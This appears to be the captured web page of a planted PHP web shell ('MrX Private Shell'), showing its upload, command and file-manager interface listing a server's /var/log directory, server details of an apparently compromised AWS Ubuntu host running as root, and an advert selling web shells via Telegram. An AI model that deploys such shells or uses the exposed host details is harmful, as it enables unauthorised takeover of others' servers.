__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
Upload:
Command:
Filemanager
Name | Type | Size | Permission | Actions |
---|---|---|---|---|
amazon | Folder | 0700 |
|
|
apache2 | Folder | 0750 |
|
|
apt | Folder | 0755 |
|
|
chrony | Folder | 0750 |
|
|
dist-upgrade | Folder | 0755 |
|
|
journal | Folder | 2755 |
|
|
landscape | Folder | 0755 |
|
|
letsencrypt | Folder | 0700 |
|
|
newrelic | Folder | 0755 |
|
|
nginx | Folder | 0755 |
|
|
private | Folder | 0700 |
|
|
sysstat | Folder | 0755 |
|
|
unattended-upgrades | Folder | 0750 |
|
|
README | File | 1.02 KB | 0644 |
|
alternatives.log | File | 786 B | 0644 |
|
alternatives.log.1 | File | 1.92 KB | 0644 |
|
alternatives.log.2.gz | File | 509 B | 0644 |
|
alternatives.log.3.gz | File | 128 B | 0644 |
|
alternatives.log.4.gz | File | 916 B | 0644 |
|
alternatives.log.5.gz | File | 159 B | 0644 |
|
alternatives.log.6.gz | File | 468 B | 0644 |
|
alternatives.log.7.gz | File | 467 B | 0644 |
|
alternatives.log.8.gz | File | 109 B | 0644 |
|
alternatives.log.9.gz | File | 377 B | 0644 |
|
apport.log | File | 0 B | 0640 |
|
apport.log.1 | File | 434 B | 0640 |
|
apport.log.2.gz | File | 426 B | 0640 |
|
apport.log.3.gz | File | 286 B | 0640 |
|
apport.log.4.gz | File | 218 B | 0640 |
|
apport.log.5.gz | File | 432 B | 0640 |
|
apport.log.6.gz | File | 216 B | 0640 |
|
auth.log | File | 266.53 KB | 0640 |
|
auth.log.1 | File | 372.03 KB | 0640 |
|
auth.log.2.gz | File | 32.9 KB | 0640 |
|
auth.log.3.gz | File | 33.05 KB | 0640 |
|
auth.log.4.gz | File | 33.69 KB | 0640 |
|
btmp | File | 0 B | 0660 |
|
btmp.1 | File | 0 B | 0660 |
|
cloud-init-output.log | File | 29.2 KB | 0640 |
|
cloud-init.log.1 | File | 1.18 MB | 0640 |
|
dmesg | File | 48.27 KB | 0640 |
|
dmesg.0 | File | 48.18 KB | 0640 |
|
dmesg.1.gz | File | 14.62 KB | 0640 |
|
dmesg.2.gz | File | 14.31 KB | 0640 |
|
dmesg.3.gz | File | 14.22 KB | 0640 |
|
dmesg.4.gz | File | 14.27 KB | 0640 |
|
dpkg.log | File | 23.51 KB | 0644 |
|
dpkg.log.1 | File | 31.79 KB | 0644 |
|
dpkg.log.10.gz | File | 9.48 KB | 0644 |
|
dpkg.log.2.gz | File | 2.04 KB | 0644 |
|
dpkg.log.3.gz | File | 2.46 KB | 0644 |
|
dpkg.log.4.gz | File | 7.17 KB | 0644 |
|
dpkg.log.5.gz | File | 2.27 KB | 0644 |
|
dpkg.log.6.gz | File | 3.18 KB | 0644 |
|
dpkg.log.7.gz | File | 3.52 KB | 0644 |
|
dpkg.log.8.gz | File | 3.32 KB | 0644 |
|
dpkg.log.9.gz | File | 2.46 KB | 0644 |
|
kern.log | File | 78.44 KB | 0640 |
|
kern.log.1 | File | 245.07 KB | 0640 |
|
kern.log.2.gz | File | 17.92 KB | 0640 |
|
kern.log.3.gz | File | 640 B | 0640 |
|
kern.log.4.gz | File | 574 B | 0640 |
|
lastlog | File | 285.44 KB | 0664 |
|
php7.4-fpm.log | File | 4.31 KB | 0600 |
|
php7.4-fpm.log.1 | File | 11.27 KB | 0600 |
|
php7.4-fpm.log.10.gz | File | 361 B | 0600 |
|
php7.4-fpm.log.11.gz | File | 313 B | 0600 |
|
php7.4-fpm.log.12.gz | File | 192 B | 0600 |
|
php7.4-fpm.log.2.gz | File | 557 B | 0600 |
|
php7.4-fpm.log.3.gz | File | 195 B | 0600 |
|
php7.4-fpm.log.4.gz | File | 341 B | 0600 |
|
php7.4-fpm.log.5.gz | File | 315 B | 0600 |
|
php7.4-fpm.log.6.gz | File | 74 B | 0600 |
|
php7.4-fpm.log.7.gz | File | 74 B | 0600 |
|
php7.4-fpm.log.8.gz | File | 73 B | 0600 |
|
php7.4-fpm.log.9.gz | File | 73 B | 0600 |
|
php8.3-fpm.log | File | 0 B | 0600 |
|
php8.3-fpm.log.1 | File | 564 B | 0600 |
|
syslog | File | 1.21 MB | 0640 |
|
syslog.1 | File | 1.8 MB | 0640 |
|
syslog.2.gz | File | 185.04 KB | 0640 |
|
syslog.3.gz | File | 140.57 KB | 0640 |
|
syslog.4.gz | File | 173.12 KB | 0640 |
|
ubuntu-advantage.log | File | 21.12 KB | 0644 |
|
ubuntu-advantage.log.1 | File | 132.03 KB | 0644 |
|
ubuntu-advantage.log.2.gz | File | 5.25 KB | 0644 |
|
ubuntu-advantage.log.3.gz | File | 4.91 KB | 0644 |
|
ubuntu-advantage.log.4.gz | File | 5.26 KB | 0644 |
|
ubuntu-advantage.log.5.gz | File | 4.74 KB | 0644 |
|
ubuntu-advantage.log.6.gz | File | 4.6 KB | 0644 |
|
wtmp | File | 75.75 KB | 0664 |
|
Server Info
- Hostname: milna-web
- IP Address: 172.31.26.98
- PHP Version: 7.4.33
- Server Software: Apache/2.4.58 (Ubuntu)
- HDD Total Space: 18.33 GB
- HDD Free Space: 2.49 GB
- Total Domains in Server: 2
- System: Linux milna-web 6.8.0-1018-aws #20-Ubuntu SMP Thu Oct 10 18:14:42 UTC 2024 x86_64
System Info
User Info
- Username: root
- User ID: 0
- Group ID: 0
Copyright reserved © 2025 xtooler.online Shell Coded By Mr.X
01
2018